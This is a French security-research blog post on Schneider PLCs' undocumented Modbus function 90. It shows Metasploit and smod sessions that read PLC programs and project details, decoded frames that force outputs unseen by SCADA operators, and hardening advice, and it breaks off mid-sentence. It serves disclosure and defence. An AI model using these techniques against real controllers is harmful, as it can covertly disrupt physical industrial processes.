{"id":15813,"date":"2018-02-09T18:45:05","date_gmt":"2018-02-09T17:45:05","guid":{"rendered":"https:\/\/www.riskinsight-wavestone.com\/?p=15813"},"modified":"2021-05-02T19:22:07","modified_gmt":"2021-05-02T18:22:07","slug":"fun-with-modbus-0x5a","status":"publish","type":"post","link":"https:\/\/www.riskinsight-wavestone.com\/en\/2018\/02\/fun-with-modbus-0x5a\/","title":{"rendered":"Fun with Modbus 0x5A"},"content":{"rendered":"<div class=\"separator\" style=\"clear: both; text-align: center;\"><\/div>\n<div style=\"text-align: justify;\">\n<figure id=\"post-15816 media-15816\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15816 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/1.jpg\" alt=\"\" width=\"640\" height=\"168\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/1.jpg 640w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/1-437x115.jpg 437w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/1-71x19.jpg 71w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<p>Lors de la derni\u00e8re \u00e9dition de la DEFCON, nous avons pr\u00e9sent\u00e9 nos travaux de R&amp;D concernant un protocole propri\u00e9taire Schneider \u00e0 l\u2019ICS Village, espace d\u00e9di\u00e9 \u00e0 la s\u00e9curit\u00e9 des SI industriels.<\/p>\n<\/div>\n<div style=\"text-align: justify;\">Vous pouvez retrouver notre intervention en vid\u00e9o :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=A_B69Rifu1g\">https:\/\/www.youtube.com\/watch?v=A_B69Rifu1g<\/a><\/div>\n<div style=\"text-align: justify;\">Revenons sur ces travaux et la mani\u00e8re dont ils peuvent \u00eatre exploit\u00e9s.<\/div>\n<div style=\"text-align: justify;\">\n<p>&nbsp;<\/p>\n<h2>Le protocole Modbus<\/h2>\n<\/div>\n<div style=\"text-align: justify;\">Le protocole Modbus est un standard de communication utilis\u00e9 dans les SI industriels. D\u00e9velopp\u00e9 dans les ann\u00e9es 70 sur liaison s\u00e9rie RS-485, il est d\u00e9sormais tr\u00e8s r\u00e9pandu dans sa version TCP utilisable sur une liaison Ethernet classique.<\/div>\n<div style=\"text-align: justify;\">Le protocole Modbus d\u00e9fini un certain nombre de fonctions, qui servent majoritairement \u00e0 lire\/\u00e9crire des donn\u00e9es sur un automate programmable industriel.<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;\">\n<pre>root@kali:mbtget-master# .\/mbtget -r3 -a 0 -n 8 192.168.0.110\r\nvalues:\r\n  1 (ad 00000):     1\r\n  2 (ad 00001):     0\r\n  3 (ad 00002):     0\r\n  4 (ad 00003):     1\r\n  5 (ad 00004):     0\r\n  6 (ad 00005):     0\r\n  7 (ad 00006):     0\r\n  8 (ad 00007):     0<\/pre>\n<\/div>\n<div style=\"text-align: center;\"><i>Lecture de donn\u00e9es Modbus avec le programme \u00ab mbtget \u00bb<\/i><\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">D\u2019autres fonctions Modbus existent, comme l\u2019indique ce tableau provenant du standard officiel :<\/div>\n<div style=\"text-align: justify;\">\n<figure id=\"post-15818 media-15818\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15818 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/2-1.png\" alt=\"\" width=\"640\" height=\"442\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/2-1.png 640w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/2-1-277x191.png 277w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/2-1-56x39.png 56w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/2-1-245x170.png 245w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\"><i>Sp\u00e9cifications du protocole Modbus (http:\/\/www.modbus.org\/docs\/Modbus_Application_Protocol_V1_1b3.pdf)<\/i><\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">Il est possible d\u2019identifier la liste des fonctions Modbus support\u00e9es par un automate, par exemple avec l\u2019outil smod:<\/div>\n<div style=\"background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;\">\n<pre>root@kali:~\/smod# python smod.py \r\n&lt; SMOD &gt;\r\n ------- \r\n        \\   ^__^\r\n         \\  (xx)\\_______\r\n            (__)\\       )\\\/\\\r\n             U  ||----w |\r\n                ||     ||\r\n          --=[MODBUS Penetration Test FrameWork\r\n       --+--=[Version : 1.0.4\r\n       --+--=[Modules : 23\r\n       --+--=[Coder   : Farzin Enddo\r\n          --=[github  : www.github.com\/enddo\r\n\r\nSMOD &gt; use modbus\/scanner\/getfunc\r\nSMOD modbus(getfunc) &gt; show options\r\n Name     Current Setting  Required  Description                                 \r\n ----     ---------------  --------  -----------                                 \r\n Output   True             False     The stdout save in output directory         \r\n RHOSTS                    True      The target address range or CIDR identifier \r\n RPORT    502              False     The port number for modbus protocol         \r\n Threads  1                False     The number of concurrent threads            \r\n UID      None             True      Modbus Slave UID.                           \r\nSMOD modbus(getfunc) &gt; set RHOSTS 192.168.0.110\r\nSMOD modbus(getfunc) &gt; set UID 1\r\nSMOD modbus(getfunc) &gt; exploit\r\n[+] Module Get Function Start\r\n[+] Looking for supported function codes on 192.168.0.110\r\n[+] Function Code 1(Read Coils) is supported.\r\n[+] Function Code 2(Read Discrete Inputs) is supported.\r\n[+] Function Code 3(Read Multiple Holding Registers) is supported.\r\n[+] Function Code 4(Read Input Registers) is supported.\r\n[+] Function Code 5(Write Single Coil) is supported.\r\n[+] Function Code 6(Write Single Holding Register) is supported.\r\n[+] Function Code 8(Diagnostic) is supported.\r\n[+] Function Code 15(Write Multiple Coils) is supported.\r\n[+] Function Code 16(Write Multiple Holding Registers) is supported.\r\n[+] Function Code 22(Mask Write Register) is supported.\r\n[+] Function Code 23(Read\/Write Multiple Registers) is supported.\r\n[+] Function Code 43(Read Device Identification) is supported.\r\n[+] Function Code 90 is supported.<\/pre>\n<\/div>\n<p>&nbsp;<\/p>\n<p>On peut ainsi utiliser les fonctions de diagnostique pour identifier pr\u00e9cis\u00e9ment l\u2019automate, en l\u2019occurrence un Schneider M340 :<\/p>\n<div style=\"text-align: justify;\">\n<p class=\"separator\" style=\"clear: both; text-align: center;\">\n<figure id=\"post-15820 media-15820\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15820 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/3.jpg\" alt=\"\" width=\"375\" height=\"206\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/3.jpg 375w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/3-348x191.jpg 348w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/3-71x39.jpg 71w\" sizes=\"auto, (max-width: 375px) 100vw, 375px\" \/><\/figure>\n<\/div>\n<div style=\"text-align: justify;\">\n<p>&nbsp;<\/p>\n<h2>La fonction Modbus 0x5a<\/h2>\n<\/div>\n<div style=\"text-align: justify;\">\n<h3>Historique<\/h3>\n<\/div>\n<div style=\"text-align: justify;\">L\u2019utilisation du protocole Modbus pour la programmation des automates Schneider a \u00e9t\u00e9 r\u00e9v\u00e9l\u00e9e publiquement gr\u00e2ce aux travaux du projet Basecamp lors de la c\u00e9l\u00e8bre conf\u00e9rence S4, d\u00e9di\u00e9e \u00e0 la s\u00e9curit\u00e9 des SI industriels : <a href=\"http:\/\/www.digitalbond.com\/blog\/2012\/01\/19\/project-basecamp-at-s4\/\">http:\/\/www.digitalbond.com\/blog\/2012\/01\/19\/project-basecamp-at-s4\/<\/a><\/div>\n<div style=\"text-align: justify;\">Vous pouvez retrouver les vuln\u00e9rabilit\u00e9s identifi\u00e9es sur les syst\u00e8mes Schneider (et bien d\u2019autres) dans la pr\u00e9sentation de Reid Wightman : <a href=\"https:\/\/youtu.be\/dtadMIN3CCc?t=35m29\">https:\/\/youtu.be\/dtadMIN3CCc?t=35m29<\/a>s<\/div>\n<div style=\"text-align: justify;\">Nous avions d\u00e9j\u00e0 \u00e9voqu\u00e9 cette fonctionnalit\u00e9 dans notre article d\u00e9di\u00e9 au pentest d\u2019automates dans le magazine MISC 74 . Il suffit d\u2019observer les trames r\u00e9seau \u00e9chang\u00e9es entre Unity Pro et l\u2019automate lors de sa programmation pour identifier que c\u2019est le protocole Modbus qui est utilis\u00e9, via une fonction non-document\u00e9e (90) :<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\">\n<figure id=\"post-15822 media-15822\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15822 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/4.jpg\" alt=\"\" width=\"640\" height=\"168\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/4.jpg 640w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/4-437x115.jpg 437w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/4-71x19.jpg 71w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n<div style=\"text-align: center;\"><i>Capture r\u00e9seau des \u00e9changes entre le logiciel de programmation et un automate Schneider<\/i><\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<div style=\"text-align: justify;\">Comme les autres fonctions Modbus, il n\u2019existe aucun m\u00e9canisme de s\u00e9curit\u00e9 pour ce protocole de programmation : il suffit d\u2019avoir un acc\u00e8s r\u00e9seau sur le port TCP 502 d\u2019un automate pour pouvoir r\u00e9aliser des actions d\u2019administration.<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<h3>R\u00e9cup\u00e9ration du programme automate<\/h3>\n<\/div>\n<div style=\"text-align: justify;\">La r\u00e9cup\u00e9ration du programme de l\u2019automate n\u2019\u00e9tait, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publi\u00e9 lors du projet Basecamp. Nous avions pu le modifier l\u00e9g\u00e8rement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu \u00e0 modifier un compteur pour la rendre fonctionnelle. D\u00e9taillons son utilisation.<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>Cr\u00e9ation d\u2019une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu\u2019archive (\u00ab .sta \u00bb)<\/li>\n<li>R\u00e9cup\u00e9rons le programme de l\u2019automate<\/li>\n<\/ul>\n<\/div>\n<div style=\"background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;\">\n<pre>msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION DOWNLOAD\r\nACTION =&gt; DOWNLOAD\r\nmsf auxiliary(modicon_stux_transfer_ASO) &gt; run\r\n\r\n[*] 192.168.0.110:502 - MODBUS - Sending read request\r\n[*] 192.168.0.110:502 - MODBUS - Retrieving file\r\n[*] 192.168.0.110:502 - MODBUS - Closing file  '\/opt\/metasploit\/apps\/pro\/msf3\/data\r\n\/exploits\/modicon_ladder.apx'\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(modicon_stux_transfer_ASO) &gt;<\/pre>\n<\/div>\n<ul>\n<li>Ins\u00e9rons le fichier \u00ab .apx \u00bb dans l\u2019archive<\/li>\n<\/ul>\n<div style=\"background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;\">\n<pre>root@kali:~# file demo_archive.sta \r\ndemo_archive.sta: Zip archive data, at least v1.0 to extract\r\nroot@kali:~# unzip demo_archive.sta\r\nArchive:  demo_archive.sta\r\n   creating: BinAppli\/\r\n  inflating: BinAppli\/Station.apd    \r\n  inflating: BinAppli\/Station.apx    \r\n  inflating: STATION.CTX             \r\n extracting: TA.xma                  \r\n   creating: ThirdParty\/\r\nroot@kali:~\/unity# cp \/opt\/metasploit\/apps\/pro\/msf3\/data\/exploits\/modicon_ladder.apx \r\nBinAppli\/Station.apx\r\nroot@kali:~\/unity# ls\r\nBinAppli  demo_archive.sta  STATION.CTX  TA.xma  ThirdParty\r\nroot@kali:~\/unity# rm BinAppli\/Station.apd\r\nroot@kali:~\/unity# zip demo_archive2.sta -r BinAppli\/ STATION.CTX  TA.xma  ThirdParty\/\r\n  adding: BinAppli\/ (stored 0%)\r\n  adding: BinAppli\/Station.apx (deflated 61%)\r\n  adding: BinAppli\/Station.apd (deflated 19%)\r\n  adding: STATION.CTX (deflated 58%)\r\n  adding: TA.xma (stored 0%)\r\n  adding: ThirdParty\/ (stored 0%)\r\nroot@kali:~\/unity#<\/pre>\n<\/div>\n<ul>\n<li>Ouvrons le fichier dans Unity : il suffit ensuite d\u2019ouvrir le fichier avec Unity pro pour acc\u00e9der au programme :<\/li>\n<\/ul>\n<p class=\"separator\" style=\"clear: both; text-align: center;\">\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\">\n<figure id=\"post-15824 media-15824\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15824 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/5-1.png\" alt=\"\" width=\"640\" height=\"393\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/5-1.png 640w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/5-1-311x191.png 311w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/5-1-64x39.png 64w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n<div style=\"text-align: center;\"><i>Affichage du code \u00ab ladder \u00bb dans Unity Pro<\/i><\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<div style=\"text-align: justify;\">La vid\u00e9o ci-dessous montre l\u2019utilisation du module pour t\u00e9l\u00e9charger le programme et v\u00e9rifier qu\u2019il s\u2019agit du m\u00eame que celui issu de Unity Pro :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=xRbulEX3_3o\">https:\/\/www.youtube.com\/watch?v=xRbulEX3_3o<\/a><\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">La d\u00e9marche inverse, reprogrammer l\u2019automate, est \u00e9galement possible en th\u00e9orie. En revanche, nous n\u2019avons pas r\u00e9ussi \u00e0 le rendre fonctionnel. Lors de l\u2019upload d\u2019un nouveau programme, nous obtenons ensuite cette erreur :<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<p id=\"post-15826 media-15826\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15826 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/6.png\" alt=\"\" width=\"640\" height=\"113\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/6.png 640w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/6-437x77.png 437w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/6-71x13.png 71w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/p>\n<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">L\u2019automate a bien \u00e9t\u00e9 reprogramm\u00e9, mais il ne reconna\u00eet pas le programme transmis et consid\u00e8re donc qu\u2019il n\u2019est pas programm\u00e9. Cette attaque permet donc plut\u00f4t un d\u00e9ni de service.<\/div>\n<div style=\"text-align: justify;\">\n<h4>R\u00e9cup\u00e9ration des informations du programme<\/h4>\n<\/div>\n<div style=\"text-align: justify;\">L\u2019analyse des trames \u00e9chang\u00e9es lors de l\u2019initialisation de la connexion entre le logiciel de programmation l\u00e9gitime (Unity Pro) et l\u2019automate permet d\u2019identifier qu\u2019un certain nombre d\u2019informations sont envoy\u00e9es par l\u2019automate.<\/div>\n<p class=\"separator\" style=\"clear: both; text-align: center;\">\n<div style=\"text-align: center;\">\n<figure id=\"post-15828 media-15828\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15828 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/7.png\" alt=\"\" width=\"640\" height=\"364\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/7.png 640w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/7-336x191.png 336w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/7-69x39.png 69w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\"><i>Capture r\u00e9seau entre Unity Pro et un automate Schneider M340<\/i><\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<div style=\"text-align: justify;\">Nous avons donc modifi\u00e9 le module Metasploit pr\u00e9c\u00e9dent afin de permettre la r\u00e9cup\u00e9ration de ces informations :<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;\">\n<pre>msf &gt; use auxiliary\/admin\/scada\/modicon_stux_transfer_ASO \r\nmsf auxiliary(modicon_stux_transfer_ASO) &gt; show actions\r\n\r\nAuxiliary actions:\r\n\r\n   Name          Description\r\n   ----          -----------\r\n   DOWNLOAD      Download the ladder logic from the PLC\r\n   GATHER_INFOS  Get informations about the PLC configuration\r\n   UPLOAD        Upload a ladder logic file to the PLC\r\n\r\n\r\nmsf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION GATHER_INFOS \r\nACTION =&gt; GATHER_INFOS\r\nmsf auxiliary(modicon_stux_transfer_ASO) &gt; show options\r\n\r\nModule options (auxiliary\/admin\/scada\/modicon_stux_transfer_ASO):\r\n\r\n   Name      Current Setting                     Required  Description\r\n   ----      ---------------                     --------  -----------\r\n   FILENAME  [...]\/modicon_ladder.apx            yes       The file to send or receive\r\n   RHOST                                         yes       The target address\r\n   RPORT     502                                 yes       The target port\r\n\r\n\r\nAuxiliary action:\r\n\r\n   Name          Description\r\n   ----          -----------\r\n   GATHER_INFOS  Get informations about the PLC configuration\r\n\r\n\r\nmsf auxiliary(modicon_stux_transfer_ASO) &gt; set RHOST 192.168.0.110\r\nRHOST =&gt; 192.168.0.110\r\nmsf auxiliary(modicon_stux_transfer_ASO) &gt; run\r\n\r\n[*] Sending initialization requests ...\r\n[+] PLC model : BMX P34 2030\r\n[+] Project name : Test - Project ABC 123 Yolo\r\n[+] Project comments : this is where the comments are put. YOLO @@@ !!!\r\n[+] Unity Pro software version : V5.0\r\n[*] Auxiliary module execution completed<\/pre>\n<\/div>\n<div style=\"text-align: justify;\">\n<p style=\"text-align: center;\"><i>R\u00e9cup\u00e9ration d\u2019information via le module Metasploit<\/i><\/p>\n<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">Ces informations concordent avec celles obtenues graphiquement dans le logiciel l\u00e9gitime :<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<figure id=\"post-15830 media-15830\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15830 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/8.png\" alt=\"\" width=\"525\" height=\"408\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/8.png 525w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/8-246x191.png 246w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/8-50x39.png 50w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/8-156x121.png 156w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/8-155x120.png 155w\" sizes=\"auto, (max-width: 525px) 100vw, 525px\" \/><\/figure>\n<\/div>\n<div style=\"text-align: center;\"><i>Informations sur le projet dans Unity pro<\/i><\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<div style=\"text-align: justify;\">\n<h3>For\u00e7age de valeurs<\/h3>\n<\/div>\n<div style=\"text-align: justify;\">Le logiciel Unity Pro embarque \u00e9galement des fonctionnalit\u00e9s de simulation et de \u00ab for\u00e7age \u00bb des valeurs de l\u2019automate. En effet, lors de l\u2019installation d\u2019un nouveau proc\u00e9d\u00e9 industriel, il peut s\u2019av\u00e9rer pratique de \u00ab fausser \u00bb la valeur d\u2019une variable pour simuler une action ou une situation sp\u00e9cifique. L\u2019\u00e9quivalent dans le monde informatique serait de \u00ab coder en dur \u00bb la valeur d\u2019une variable.<\/div>\n<div style=\"text-align: justify;\">Cette op\u00e9ration se r\u00e9alise dans Unity Pro par la cr\u00e9ation d\u2019une \u00ab table d\u2019animation \u00bb dans laquelle on va renseigner les variables \u00e0 forcer :<\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<div class=\"separator\" style=\"clear: both; text-align: center;\">\n<figure id=\"post-15832 media-15832\" class=\"align-none\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-15832 aligncenter\" src=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/9.png\" alt=\"\" width=\"640\" height=\"418\" srcset=\"https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/9.png 640w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/9-292x191.png 292w, https:\/\/www.riskinsight-wavestone.com\/wp-content\/uploads\/2021\/05\/9-60x39.png 60w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n<\/div>\n<div style=\"text-align: justify;\">\n<div style=\"text-align: center;\"><i>For\u00e7age de valeurs \u00e0 1 dans Unity Pro<\/i><\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\">Via l\u2019analyse des trames r\u00e9seau \u00e9chang\u00e9es lors du for\u00e7age de valeurs, il a \u00e9t\u00e9 possible de comprendre partiellement le protocole. Ci-dessous, on pr\u00e9sente une comparaison des trames pour forcer la sortie <b>%Q0.17<\/b> \u00e0 1, et forcer la sortie <b>%Q0.18<\/b> \u00e0 0 :<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;\">\n<pre>[\u2026]\\x04\\x00\\x00\\x00\\x01\\x00\\x01\\x20\\x02\\x01\\x00\\x11\\x00\\x01\\x00\\x00\\x00\\x03\r\n[\u2026]\\x04\\x00\\x00\\x00\\x01\\x00\\x01\\x20\\x02\\x01\\x00\\x12\\x00\\x01\\x00\\x00\\x00\\x02<\/pre>\n<\/div>\n<div style=\"text-align: justify;\">Un octet permet de d\u00e9terminer la sortie \u00e0 forcer :<\/div>\n<div style=\"text-align: justify;\">\n<ul>\n<li>0x11 pour la sortie %Q0.17<\/li>\n<li>0x12 pour la sortie %Q0.18<\/li>\n<\/ul>\n<\/div>\n<p>La valeur de for\u00e7age est d\u00e9termin\u00e9e par le dernier octet :<\/p>\n<ul>\n<li>0x03 pour 0<\/li>\n<li>0x02 pour 1<\/li>\n<li>0x04 pour annuler le for\u00e7age<\/li>\n<\/ul>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Dans la vid\u00e9o ci-dessous, on d\u00e9montre le fonctionnement du module Metasploit en alternant les valeurs de for\u00e7age des sorties 17 \u00e0 23 :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?time_continue=2&amp;v=D1p2ni0eGhc\">https:\/\/www.youtube.com\/watch?time_continue=2&amp;v=D1p2ni0eGhc<\/a><\/span><\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<h3><span style=\"font-family: inherit;\">Pourquoi cette fonction est-elle int\u00e9ressante du point de vue d\u2019un attaquant ?<\/span><\/h3>\n<\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Dans un SI industriel en fonctionnement, les op\u00e9rateurs ne surveillent pas le proc\u00e9d\u00e9 avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d\u2019avoir une vue d\u2019ensemble du pr\u00e9c\u00e9d\u00e9 et de pouvoir interagir avec les diff\u00e9rents composants. Ce logiciel va donc interroger, \u00e0 intervalle r\u00e9gulier, les automates pour afficher les valeurs correspondantes \u00e0 l\u2019op\u00e9rateur.<\/span><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Cependant, dans la majorit\u00e9 des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables interm\u00e9diaires ou calcul\u00e9es sont utilis\u00e9es. Ainsi, un attaquant capable de forcer la valeur des sorties de l\u2019automate va pouvoir influencer le proc\u00e9d\u00e9 physique, sans pour autant que cela soit visible du point de vue de l\u2019op\u00e9rateur en train de superviser le proc\u00e9d\u00e9.<\/span><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Une d\u00e9monstration live a \u00e9t\u00e9 faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu\u2019en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique :\u00a0<a href=\"https:\/\/www.youtube.com\/watch?v=A_B69Rifu1g\">https:\/\/www.youtube.com\/watch?v=A_B69Rifu1g<\/a><\/span><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">\u00a0<\/span><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Le module Metasploit n&#8217;\u00e9tant pas totalement finalis\u00e9, il n&#8217;a pas fait l&#8217;objet d&#8217;une pull request vers le d\u00e9p\u00f4t officiel. Vous pouvez n\u00e9anmoins le trouver ici : <a href=\"https:\/\/github.com\/wavestone-cdt\/ics-tools\">https:\/\/github.com\/wavestone-cdt\/ics-tools<\/a>.<\/span><\/div>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Conclusion et s\u00e9curisation<\/span><\/h2>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Ces travaux ont \u00e9t\u00e9 principalement r\u00e9alis\u00e9s sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles g\u00e9n\u00e9rations (par exemple M221) avec quelques ajustements. En effet, une capture r\u00e9seau lors de la programmation d\u2019un automate M221 montrera que c\u2019est bien la fonction Modbus 90 qui est utilis\u00e9e pour la programmation, mais de mani\u00e8re l\u00e9g\u00e8rement diff\u00e9rente. Elle peut \u00e9galement \u00eatre utilis\u00e9 pour la mise en mode START ou STOP, ainsi que pour le for\u00e7age des valeurs de sortie.<\/span><\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<h3><span style=\"font-family: inherit;\">Qu\u2019en est-il ailleurs ?<\/span><\/h3>\n<\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">L\u2019utilisation de protocoles de communication non-s\u00e9curis\u00e9s pour la programmation et la maintenance des automates programmables industriels est encore une r\u00e9alit\u00e9 en cette fin d\u2019ann\u00e9e 2017. L\u2019exemple ici pr\u00e9sent\u00e9 ne vise pas \u00e0 cibler la marque Schneider en particulier. La grande majorit\u00e9 des constructeurs d\u2019automates utilisent des protocoles non authentifi\u00e9s pour la programmation. On pourrait notamment citer le cas de la majorit\u00e9 des automates reposant sur la biblioth\u00e8que CodeSys, comme d\u00e9montr\u00e9 (l\u00e0 aussi) par Reid Wightman : <a href=\"http:\/\/www.digitalbond.com\/blog\/2012\/10\/25\/new-project-basecamp-tools-for-codesys-200-vendors-affected\/\">http:\/\/www.digitalbond.com\/blog\/2012\/10\/25\/new-project-basecamp-tools-for-codesys-200-vendors-affected\/<\/a>.<\/span><\/div>\n<p>&nbsp;<\/p>\n<div style=\"text-align: justify;\">\n<h3><span style=\"font-family: inherit;\">Que faire ?<\/span><\/h3>\n<\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">La s\u00e9curisation d\u2019un SI industriel doit donc prendre en compte le fait qu\u2019un acc\u00e8s r\u00e9seau sur le port TCP 502 permet d\u2019acc\u00e9der \u00e0 la logique de l\u2019automate, de la modifier mais \u00e9galement de forcer certaines valeurs, ce qui permet \u00e0 un attaquant de mener une attaque qui ne sera pas visible de l\u2019op\u00e9rateur.<\/span><\/div>\n<div style=\"text-align: justify;\"><span style=\"font-family: inherit;\">Les derni\u00e8res versions d\u2019automates, notamment dans les gammes les plus ch\u00e8res, incluent d\u00e9sormais des fonctions de s\u00e9curisation. L\u2019approche la plus fr\u00e9quente est d\u2019encapsuler les protocoles 